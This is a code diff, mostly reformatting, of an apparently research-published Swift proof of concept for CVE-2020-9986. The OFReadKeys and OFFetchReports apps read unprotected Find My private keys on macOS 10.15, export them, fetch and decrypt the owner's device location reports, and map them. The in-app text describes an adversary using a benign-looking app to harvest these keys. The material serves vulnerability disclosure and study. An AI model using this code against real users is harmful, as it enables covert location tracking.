-        self.startTime = startTime
-        self.duration = duration
-        self.pu = pu
-        self.yCoordinate = yCoordinate
-        self.fullKey = fullKey
+  internal init(
+    advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
+    pu: Data?, yCoordinate: Data?, fullKey: Data?
+  ) {
+    self.advertisedKey = advertisedKey
+    self.hashedKey = hashedKey
+    // The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
+    if privateKey.count == 85 {
+      self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
+    } else {
+      self.privateKey = privateKey
     }
 
-    init(from decoder: Decoder) throws {
-        let container = try decoder.container(keyedBy: CodingKeys.self)
-        self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
-        self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
-        let privateKey = try container.decode(Data.self, forKey: .privateKey)
-        if privateKey.count == 85 {
-            self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
-        } else {
-            self.privateKey = privateKey
-        }
+    self.startTime = startTime
+    self.duration = duration
+    self.pu = pu
+    self.yCoordinate = yCoordinate
+    self.fullKey = fullKey
+  }
 
-        self.startTime = try? container.decode(Date.self, forKey: .startTime)
-        self.duration = try? container.decode(Double.self, forKey: .duration)
-        self.pu = try? container.decode(Data.self, forKey: .pu)
-        self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
-        self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
+  init(from decoder: Decoder) throws {
+    let container = try decoder.container(keyedBy: CodingKeys.self)
+    self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
+    self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
+    let privateKey = try container.decode(Data.self, forKey: .privateKey)
+    if privateKey.count == 85 {
+      self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
+    } else {
+      self.privateKey = privateKey
     }
 
-    /// The advertising key
-    let advertisedKey: Data
-    /// Hashed advertisement key using SHA256
-    let hashedKey: Data
-    /// The private key from which the advertisement keys can be derived
-    let privateKey: Data
-    /// When this key was used to send out BLE advertisements
-    let startTime: Date?
-    /// Duration from start time how long the key has been used to send out BLE advertisements
-    let duration: Double?
-    /// ?
-    let pu: Data?
+    self.startTime = try? container.decode(Date.self, forKey: .startTime)
+    self.duration = try? container.decode(Double.self, forKey: .duration)
+    self.pu = try? container.decode(Data.self, forKey: .pu)
+    self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
+    self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
+  }
 
-    /// As exported from Big Sur
-    let yCoordinate: Data?
-    /// As exported from BigSur
-    let fullKey: Data?
+  /// The advertising key
+  let advertisedKey: Data
+  /// Hashed advertisement key using SHA256
+  let hashedKey: Data
+  /// The private key from which the advertisement keys can be derived
+  let privateKey: Data
+  /// When this key was used to send out BLE advertisements
+  let startTime: Date?
+  /// Duration from start time how long the key has been used to send out BLE advertisements
+  let duration: Double?
+  /// ?
+  let pu: Data?
+
+  /// As exported from Big Sur
+  let yCoordinate: Data?
+  /// As exported from BigSur
+  let fullKey: Data?
 }
 
 struct FindMyReportResults: Codable {
-    let results: [FindMyReport]
+  let results: [FindMyReport]
 }
 
 struct FindMyReport: Codable {
-    let datePublished: Date
-    let payload: Data
-    let id: String
-    let statusCode: Int
+  let datePublished: Date
+  let payload: Data
+  let id: String
+  let statusCode: Int
 
-    let confidence: UInt8
-    let timestamp: Date
+  let confidence: UInt8
+  let timestamp: Date
 
-    enum CodingKeys: CodingKey {
-        case datePublished
-        case payload
-        case id
-        case statusCode
+  enum CodingKeys: CodingKey {
+    case datePublished
+    case payload
+    case id
+    case statusCode
+  }
+
+  init(from decoder: Decoder) throws {
+    let values = try decoder.container(keyedBy: CodingKeys.self)
+    let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
+    // Convert from milis to time interval
+    let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
+    let df = DateFormatter()
+    df.dateFormat = "YYYY-MM-dd"
+
+    if dP < df.date(from: "2020-01-01")! {
+      self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
+    } else {
+      self.datePublished = dP
     }
 
-    init(from decoder: Decoder) throws {
-        let values = try decoder.container(keyedBy: CodingKeys.self)
-        let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
-        // Convert from milis to time interval
-        let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
-        let df = DateFormatter()
-        df.dateFormat = "YYYY-MM-dd"
+    self.statusCode = try values.decode(Int.self, forKey: .statusCode)
+    let payloadBase64 = try values.decode(String.self, forKey: .payload)
 
-        if dP < df.date(from: "2020-01-01")! {
-            self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
-        } else {
-            self.datePublished = dP
-        }
+    guard let payload = Data(base64Encoded: payloadBase64) else {
+      throw DecodingError.dataCorruptedError(
+        forKey: CodingKeys.payload, in: values, debugDescription: "")
+    }
+    self.payload = payload
 
-        self.statusCode = try values.decode(Int.self, forKey: .statusCode)
-        let payloadBase64 = try values.decode(String.self, forKey: .payload)
-
-        guard let payload = Data(base64Encoded: payloadBase64) else {
-            throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
-        }
-        self.payload = payload
-
-        var timestampData = payload.subdata(in: 0..<4)
-        let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
-            // Convert the endianness
-            pointer.load(as: Int32.self).bigEndian
-        }
-
-        // It's a cocoa time stamp (counting from 2001)
-        self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
-        self.confidence = payload[4]
-
-        self.id = try values.decode(String.self, forKey: .id)
+    var timestampData = payload.subdata(in: 0..<4)
+    let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
+      // Convert the endianness
+      pointer.load(as: Int32.self).bigEndian
     }
 
-    func encode(to encoder: Encoder) throws {
-        var container = encoder.container(keyedBy: CodingKeys.self)
-        try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
-        try container.encode(self.payload.base64EncodedString(), forKey: .payload)
-        try container.encode(self.id, forKey: .id)
-        try container.encode(self.statusCode, forKey: .statusCode)
-    }
+    // It's a cocoa time stamp (counting from 2001)
+    self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
+    self.confidence = payload[4]
+
+    self.id = try values.decode(String.self, forKey: .id)
+  }
+
+  func encode(to encoder: Encoder) throws {
+    var container = encoder.container(keyedBy: CodingKeys.self)
+    try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
+    try container.encode(self.payload.base64EncodedString(), forKey: .payload)
+    try container.encode(self.id, forKey: .id)
+    try container.encode(self.statusCode, forKey: .statusCode)
+  }
 }
 
 struct FindMyLocationReport: Codable {
-    let latitude: Double
-    let longitude: Double
-    let accuracy: UInt8
-    let datePublished: Date
-    let timestamp: Date?
-    let confidence: UInt8?
+  let latitude: Double
+  let longitude: Double
+  let accuracy: UInt8
+  let datePublished: Date
+  let timestamp: Date?
+  let confidence: UInt8?
 
-    var location: CLLocation {
-        return CLLocation(latitude: latitude, longitude: longitude)
+  var location: CLLocation {
+    return CLLocation(latitude: latitude, longitude: longitude)
+  }
+
+  init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
+    self.latitude = lat
+    self.longitude = lng
+    self.accuracy = acc
+    self.datePublished = dP
+    self.timestamp = t
+    self.confidence = c
+  }
+
+  init(from decoder: Decoder) throws {
+    let values = try decoder.container(keyedBy: CodingKeys.self)
+
+    self.latitude = try values.decode(Double.self, forKey: .latitude)
+    self.longitude = try values.decode(Double.self, forKey: .longitude)
+
+    do {
+      let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
+      self.accuracy = uAcc
+    } catch {
+      let iAcc = try values.decode(Int8.self, forKey: .accuracy)
+      self.accuracy = UInt8(bitPattern: iAcc)
     }
 
-    init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
-        self.latitude = lat
-        self.longitude = lng
-        self.accuracy = acc
-        self.datePublished = dP
-        self.timestamp = t
-        self.confidence = c
-    }
-
-    init(from decoder: Decoder) throws {
-        let values = try decoder.container(keyedBy: CodingKeys.self)
-
-        self.latitude = try values.decode(Double.self, forKey: .latitude)
-        self.longitude = try values.decode(Double.self, forKey: .longitude)
-
-        do {
-            let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
-            self.accuracy = uAcc
-        } catch {
-            let iAcc = try values.decode(Int8.self, forKey: .accuracy)
-            self.accuracy = UInt8(bitPattern: iAcc)
-        }
-
-        self.datePublished = try values.decode(Date.self, forKey: .datePublished)
-        self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
-        self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
-    }
+    self.datePublished = try values.decode(Date.self, forKey: .datePublished)
+    self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
+    self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
+  }
 
 }
 
 enum FindMyError: Error {
-    case decryptionError(description: String)
+  case decryptionError(description: String)
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/MapView.swift

@@ -7,19 +7,19 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import SwiftUI
 import Cocoa
 import MapKit
+import SwiftUI
 
 struct MapView: NSViewControllerRepresentable {
-    @Environment(\.findMyController) var findMyController
+  @Environment(\.findMyController) var findMyController
 
-    func makeNSViewController(context: Context) -> MapViewController {
-        return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
-    }
+  func makeNSViewController(context: Context) -> MapViewController {
+    return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
+  }
 
-    func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
-        nsViewController.addLocationsReports(from: findMyController.devices)
-    }
+  func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
+    nsViewController.addLocationsReports(from: findMyController.devices)
+  }
 
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.swift

@@ -11,43 +11,45 @@ import Cocoa
 import MapKit
 
 final class MapViewController: NSViewController, MKMapViewDelegate {
-    @IBOutlet weak var mapView: MKMapView!
-    var pinsShown = false
+  @IBOutlet weak var mapView: MKMapView!
+  var pinsShown = false
 
-    override func viewDidLoad() {
-        super.viewDidLoad()
-        self.mapView.delegate = self
+  override func viewDidLoad() {
+    super.viewDidLoad()
+    self.mapView.delegate = self
+  }
+
+  func addLocationsReports(from devices: [FindMyDevice]) {
+    if !self.mapView.annotations.isEmpty {
+      self.mapView.removeAnnotations(self.mapView.annotations)
     }
 
-    func addLocationsReports(from devices: [FindMyDevice]) {
-        if !self.mapView.annotations.isEmpty {
-            self.mapView.removeAnnotations(self.mapView.annotations)
-        }
-
-        // Zoom to first location
-        if let location =  devices.first?.decryptedReports?.first {
-            let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
-            let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
-            let region = MKCoordinateRegion(center: coordinate, span: span)
-
-            self.mapView.setRegion(region, animated: true)
-        }
-
-        // Add pins
-        for device in devices {
-
-            guard let reports = device.decryptedReports else {continue}
-            for report in reports {
-                let pin = MKPointAnnotation()
-                pin.title = device.deviceId
-                pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
-                self.mapView.addAnnotation(pin)
-            }
-        }
+    // Zoom to first location
+    if let location = devices.first?.decryptedReports?.first {
+      let coordinate = CLLocationCoordinate2D(
+        latitude: location.latitude, longitude: location.longitude)
+      let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
+      let region = MKCoordinateRegion(center: coordinate, span: span)
 
+      self.mapView.setRegion(region, animated: true)
     }
 
-    func changeMapType(_ mapType: MKMapType) {
-        self.mapView.mapType = mapType
+    // Add pins
+    for device in devices {
+
+      guard let reports = device.decryptedReports else { continue }
+      for report in reports {
+        let pin = MKPointAnnotation()
+        pin.title = device.deviceId
+        pin.coordinate = CLLocationCoordinate2D(
+          latitude: report.latitude, longitude: report.longitude)
+        self.mapView.addAnnotation(pin)
+      }
     }
+
+  }
+
+  func changeMapType(_ mapType: MKMapType) {
+    self.mapView.mapType = mapType
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/OFFetchReportsMainView.swift

@@ -11,188 +11,200 @@ import SwiftUI
 
 struct OFFetchReportsMainView: View {
 
-    @Environment(\.findMyController) var findMyController
+  @Environment(\.findMyController) var findMyController
 
-    @State var targetedDrop: Bool = false
-    @State var error: Error?
-    @State var showMap = false
-    @State var loading = false
+  @State var targetedDrop: Bool = false
+  @State var error: Error?
+  @State var showMap = false
+  @State var loading = false
 
-    @State var searchPartyToken: Data?
-    @State var searchPartyTokenString: String = ""
-    @State var keyPlistFile: Data?
+  @State var searchPartyToken: Data?
+  @State var searchPartyTokenString: String = ""
+  @State var keyPlistFile: Data?
 
-    @State var showTokenPrompt = false
+  @State var showTokenPrompt = false
 
-    var dropView: some View {
-        ZStack(alignment: .center) {
-            HStack {
-                Spacer()
-                Spacer()
-            }
+  var dropView: some View {
+    ZStack(alignment: .center) {
+      HStack {
+        Spacer()
+        Spacer()
+      }
 
-            VStack {
-                Spacer()
-                Text("Drop exported keys here")
-                    .font(Font.system(size: 44, weight: .bold, design: .default))
-                    .padding()
+      VStack {
+        Spacer()
+        Text("Drop exported keys here")
+          .font(Font.system(size: 44, weight: .bold, design: .default))
+          .padding()
 
-                Text("The keys can be exported into the right format using the Read FindMy Keys App.")
-                    .font(.body)
-                    .multilineTextAlignment(.center)
-                    .padding()
+        Text("The keys can be exported into the right format using the Read FindMy Keys App.")
+          .font(.body)
+          .multilineTextAlignment(.center)
+          .padding()
 
-                Spacer()
-            }
-        }
-        .background(
-            RoundedRectangle(cornerRadius: 20.0)
-                .stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
-            )
+        Spacer()
+      }
+    }
+    .background(
+      RoundedRectangle(cornerRadius: 20.0)
+        .stroke(
+          Color.gray,
+          style: StrokeStyle(
+            lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
+    )
+    .padding()
+    .onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
+      return self.droppedData(data: droppedData)
+    }
+
+  }
+
+  var loadingView: some View {
+    VStack {
+      Text("Downloading locations and decrypting...")
+        .font(Font.system(size: 44, weight: .bold, design: .default))
         .padding()
-        .onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
-            return self.droppedData(data: droppedData)
-        }
-
     }
+  }
 
-    var loadingView: some View {
-        VStack {
-            Text("Downloading locations and decrypting...")
-            .font(Font.system(size: 44, weight: .bold, design: .default))
-            .padding()
-        }
-    }
+  /// This view is shown if the search party token cannot be accessed from keychain
+  var missingSearchPartyTokenView: some View {
+    VStack {
+      Text("Search Party token could not be fetched")
+      Text("Please paste the search party token below after copying it from the macOS Keychain.")
+      Text("The item that contains the key can be found by searching for: ")
+      Text("com.apple.account.DeviceLocator.search-party-token")
+        .font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
 
-    /// This view is shown if the search party token cannot be accessed from keychain
-    var missingSearchPartyTokenView: some View {
-        VStack {
-            Text("Search Party token could not be fetched")
-            Text("Please paste the search party token below after copying it from the macOS Keychain.")
-            Text("The item that contains the key can be found by searching for: ")
-            Text("com.apple.account.DeviceLocator.search-party-token")
-                .font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
-
-            TextField("Search Party Token", text: self.$searchPartyTokenString)
-
-            Button(action: {
-                if !self.searchPartyTokenString.isEmpty,
-                    let file = self.keyPlistFile,
-                    let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
-                    self.searchPartyToken = searchPartyToken
-                    self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
-                }
-            }, label: {
-                Text("Download reports")
-            })
-        }
-    }
-
-    var mapView: some View {
-        ZStack {
-            MapView()
-            VStack {
-                HStack {
-                     Spacer()
-                    Button(action: {
-                        self.showMap = false
-                        self.showTokenPrompt = false
-                    }, label: {
-                        Text("Import other tokens")
-                    })
-
-                     Button(action: {
-                         self.exportDecryptedLocations()
-
-                     }, label: {
-                         Text("Export")
-                     })
-
-                 }
-                .padding()
-                Spacer()
-            }
-
-        }
-    }
-
-    var body: some View {
-        GeometryReader { geo in
-            if self.loading {
-                self.loadingView
-            } else if self.showMap {
-                self.mapView
-            } else if self.showTokenPrompt {
-                self.missingSearchPartyTokenView
-            } else {
-                self.dropView
-                .frame(width: geo.size.width, height: geo.size.height)
-            }
-        }
-
-    }
-
-    // swiftlint:disable identifier_name
-    func droppedData(data: [NSItemProvider]) -> Bool {
-        guard let itemProvider = data.first else {return false}
-
-        itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
-            guard let urlData = u as? Data,
-                let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
-                // Only plist supported
-                fileURL.pathExtension == "plist",
-                // Load the file
-                let file = try? Data(contentsOf: fileURL)
-                else {return}
-
-            print("Received data \(fileURL)")
-
-            self.keyPlistFile = file
-            let reportsFetcher = ReportsFetcher()
-            self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
-
-            if let searchPartyToken = self.searchPartyToken {
-                self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
-            } else {
-                self.showTokenPrompt = true
-            }
-
-        }
-        return true
-    }
-
-    func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
-        self.loading = true
-
-        self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
-            // Check if an error occurred
-            guard error == nil else {
-                self.error = error
-                return
-            }
-
-            // Show map view
-            self.loading = false
-            self.showMap = true
+      TextField("Search Party Token", text: self.$searchPartyTokenString)
 
+      Button(
+        action: {
+          if !self.searchPartyTokenString.isEmpty,
+            let file = self.keyPlistFile,
+            let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
+          {
+            self.searchPartyToken = searchPartyToken
+            self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
+          }
+        },
+        label: {
+          Text("Download reports")
         })
     }
+  }
 
-    func exportDecryptedLocations() {
-        do {
-            let devices = self.findMyController.devices
-            let deviceData = try PropertyListEncoder().encode(devices)
+  var mapView: some View {
+    ZStack {
+      MapView()
+      VStack {
+        HStack {
+          Spacer()
+          Button(
+            action: {
+              self.showMap = false
+              self.showTokenPrompt = false
+            },
+            label: {
+              Text("Import other tokens")
+            })
 
-            SavePanel().saveFile(file: deviceData, fileExtension: "plist")
+          Button(
+            action: {
+              self.exportDecryptedLocations()
+
+            },
+            label: {
+              Text("Export")
+            })
 
-        } catch {
-            print("Error: \(error)")
         }
+        .padding()
+        Spacer()
+      }
+
     }
+  }
+
+  var body: some View {
+    GeometryReader { geo in
+      if self.loading {
+        self.loadingView
+      } else if self.showMap {
+        self.mapView
+      } else if self.showTokenPrompt {
+        self.missingSearchPartyTokenView
+      } else {
+        self.dropView
+          .frame(width: geo.size.width, height: geo.size.height)
+      }
+    }
+
+  }
+
+  // swiftlint:disable identifier_name
+  func droppedData(data: [NSItemProvider]) -> Bool {
+    guard let itemProvider = data.first else { return false }
+
+    itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
+      guard let urlData = u as? Data,
+        let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
+        // Only plist supported
+        fileURL.pathExtension == "plist",
+        // Load the file
+        let file = try? Data(contentsOf: fileURL)
+      else { return }
+
+      print("Received data \(fileURL)")
+
+      self.keyPlistFile = file
+      let reportsFetcher = ReportsFetcher()
+      self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
+
+      if let searchPartyToken = self.searchPartyToken {
+        self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
+      } else {
+        self.showTokenPrompt = true
+      }
+
+    }
+    return true
+  }
+
+  func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
+    self.loading = true
+
+    self.findMyController.loadPrivateKeys(
+      from: keyFile, with: searchPartyToken,
+      completion: { error in
+        // Check if an error occurred
+        guard error == nil else {
+          self.error = error
+          return
+        }
+
+        // Show map view
+        self.loading = false
+        self.showMap = true
+
+      })
+  }
+
+  func exportDecryptedLocations() {
+    do {
+      let devices = self.findMyController.devices
+      let deviceData = try PropertyListEncoder().encode(devices)
+
+      SavePanel().saveFile(file: deviceData, fileExtension: "plist")
+
+    } catch {
+      print("Error: \(error)")
+    }
+  }
 }
 
 struct ContentView_Previews: PreviewProvider {
-    static var previews: some View {
-        OFFetchReportsMainView()
-    }
+  static var previews: some View {
+    OFFetchReportsMainView()
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/SavePanel.swift

@@ -7,43 +7,44 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import Foundation
 import AppKit
+import Foundation
 
 class SavePanel: NSObject, NSOpenSavePanelDelegate {
 
-    static let shared = SavePanel()
+  static let shared = SavePanel()
 
-    var fileToSave: Data?
-    var fileExtension: String?
-    var panel: NSSavePanel?
+  var fileToSave: Data?
+  var fileExtension: String?
+  var panel: NSSavePanel?
 
-    func saveFile(file: Data, fileExtension: String) {
-        self.fileToSave = file
-        self.fileExtension = fileExtension
+  func saveFile(file: Data, fileExtension: String) {
+    self.fileToSave = file
+    self.fileExtension = fileExtension
 
-        self.panel = NSSavePanel()
-        self.panel?.delegate = self
-        self.panel?.title = "Export Find My Locations"
-        self.panel?.prompt = "Export"
-        self.panel?.nameFieldLabel = "Find My Locations"
-        self.panel?.nameFieldStringValue = "findMyLocations.plist"
-        self.panel?.allowedFileTypes = ["plist"]
+    self.panel = NSSavePanel()
+    self.panel?.delegate = self
+    self.panel?.title = "Export Find My Locations"
+    self.panel?.prompt = "Export"
+    self.panel?.nameFieldLabel = "Find My Locations"
+    self.panel?.nameFieldStringValue = "findMyLocations.plist"
+    self.panel?.allowedFileTypes = ["plist"]
 
-        let result = self.panel?.runModal()
-
-        if result == NSApplication.ModalResponse.OK {
-            // Save file
-            let fileURL = self.panel?.url
-            try! self.fileToSave?.write(to: fileURL!)
-        }
+    let result = self.panel?.runModal()
 
+    if result == NSApplication.ModalResponse.OK {
+      // Save file
+      let fileURL = self.panel?.url
+      try! self.fileToSave?.write(to: fileURL!)
     }
 
-    func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
-        guard okFlag else {return nil}
+  }
 
-        return filename
-    }
+  func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
+  {
+    guard okFlag else { return nil }
+
+    return filename
+  }
 
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/AppDelegate.swift

@@ -8,34 +8,34 @@
 //
 
 import Cocoa
-import SwiftUI
 import CoreLocation
+import SwiftUI
 
 @NSApplicationMain
 class AppDelegate: NSObject, NSApplicationDelegate {
 
-    var window: NSWindow!
+  var window: NSWindow!
 
-    func applicationDidFinishLaunching(_ aNotification: Notification) {
-        // Create the SwiftUI view that provides the window contents.
-        let contentView = ContentView()
+  func applicationDidFinishLaunching(_ aNotification: Notification) {
+    // Create the SwiftUI view that provides the window contents.
+    let contentView = ContentView()
 
-        // Create the window and set the content view. 
-        window = NSWindow(
-            contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
-            styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
-            backing: .buffered, defer: false)
-        window.center()
-        window.setFrameAutosaveName("Main Window")
-        window.contentView = NSHostingView(rootView: contentView)
-        window.makeKeyAndOrderFront(nil)
-    }
+    // Create the window and set the content view.
+    window = NSWindow(
+      contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
+      styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
+      backing: .buffered, defer: false)
+    window.center()
+    window.setFrameAutosaveName("Main Window")
+    window.contentView = NSHostingView(rootView: contentView)
+    window.makeKeyAndOrderFront(nil)
+  }
 
-    func applicationWillTerminate(_ aNotification: Notification) {
-        // Insert code here to tear down your application
-    }
+  func applicationWillTerminate(_ aNotification: Notification) {
+    // Insert code here to tear down your application
+  }
 
-    func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
-        return true
-    }
+  func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
+    return true
+  }
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/ContentView.swift

@@ -7,84 +7,89 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import SwiftUI
 import OSLog
+import SwiftUI
 
 struct ContentView: View {
 
-    @State var keysInfo: String?
+  @State var keysInfo: String?
 
-    var body: some View {
-        ZStack {
-            VStack {
-                Spacer()
+  var body: some View {
+    ZStack {
+      VStack {
+        Spacer()
 
-                self.infoText
-                    .padding()
+        self.infoText
+          .padding()
 
-                Button(action: {
-                    self.readPrivateKeys()
-                }, label: {
-                    Text("Read private offline finding keys")
-                        .font(.headline)
-                        .foregroundColor(Color.black)
-                        .padding()
-                        .background(
-                            RoundedRectangle(cornerRadius: 7.0)
-                                .fill(Color(white: 7.0).opacity(0.7))
-                                .shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
-                    )
+        Button(
+          action: {
+            self.readPrivateKeys()
+          },
+          label: {
+            Text("Read private offline finding keys")
+              .font(.headline)
+              .foregroundColor(Color.black)
+              .padding()
+              .background(
+                RoundedRectangle(cornerRadius: 7.0)
+                  .fill(Color(white: 7.0).opacity(0.7))
+                  .shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
+              )
 
-                })
-                .buttonStyle(PlainButtonStyle())
-
-                self.keysInfo.map { (keysInfo) in
-                    Text(keysInfo)
-                    .padding()
-                }
-
-                Spacer()
-
-            }
+          }
+        )
+        .buttonStyle(PlainButtonStyle())
 
+        self.keysInfo.map { (keysInfo) in
+          Text(keysInfo)
+            .padding()
         }
-        .frame(width: 800, height: 600)
+
+        Spacer()
+
+      }
 
     }
+    .frame(width: 800, height: 600)
 
-    var infoText: some View {
-        // swiftlint:disable line_length
-        Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
-        Text(" all ").bold() +
-        Text("Apple devices of the current user.\n\n") +
-        Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
-        // swiftlint:enable line_length
+  }
+
+  var infoText: some View {
+    // swiftlint:disable line_length
+    Text(
+      "This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
+    ) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
+      + Text(
+        "To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
+      )
+    // swiftlint:enable line_length
+  }
+
+  func readPrivateKeys() {
+
+    do {
+      let devices = try FindMyKeyExtractor.readPrivateKeys()
+      let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
+      self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
+      self.saveExportedKeys(keys: devices)
+    } catch {
+      os_log(.error, "Could not load keys %@", error.localizedDescription)
     }
+  }
 
-    func readPrivateKeys() {
-
-        do {
-            let devices = try FindMyKeyExtractor.readPrivateKeys()
-            let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
-            self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
-            self.saveExportedKeys(keys: devices)
-        } catch {
-            os_log(.error, "Could not load keys %@", error.localizedDescription)
-        }
-    }
-
-    func saveExportedKeys(keys: [FindMyDevice]) {
-        do {
-            let keysPlist = try PropertyListEncoder().encode(keys)
-            SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
-        } catch {
-            os_log(.error, "Property list encoding failed %@", error.localizedDescription)
-        }
+  func saveExportedKeys(keys: [FindMyDevice]) {
+    do {
+      let keysPlist = try PropertyListEncoder().encode(keys)
+      SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
+    } catch {
+      os_log(.error, "Property list encoding failed %@", error.localizedDescription)
     }
+  }
 }
 
 struct ContentView_Previews: PreviewProvider {
-    static var previews: some View {
-        ContentView()
-    }
+  static var previews: some View {
+    ContentView()
+  }
 }

CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyKeyExtractor.swift

@@ -7,219 +7,227 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import Foundation
 import CryptoKit
+import Foundation
 import OSLog
 
 struct FindMyKeyExtractor {
-    // swiftlint:disable identifier_name
+  // swiftlint:disable identifier_name
 
-    /// This function reads the private keys of the Offline Finding Location system. They will
-    /// - Throws: Error when accessing files fails
-    /// - Returns: Devices and their respective keys
-    static func readPrivateKeys() throws -> [FindMyDevice] {
-        var devices = [FindMyDevice]()
-        os_log(.debug, "Looking for keys")
+  /// This function reads the private keys of the Offline Finding Location system. They will
+  /// - Throws: Error when accessing files fails
+  /// - Returns: Devices and their respective keys
+  static func readPrivateKeys() throws -> [FindMyDevice] {
+    var devices = [FindMyDevice]()
+    os_log(.debug, "Looking for keys")
 
+    do {
+
+      // The key files have moved with macOS 10.15.4
+      let macOS10_15_3Devices = try self.readFromOldLocation()
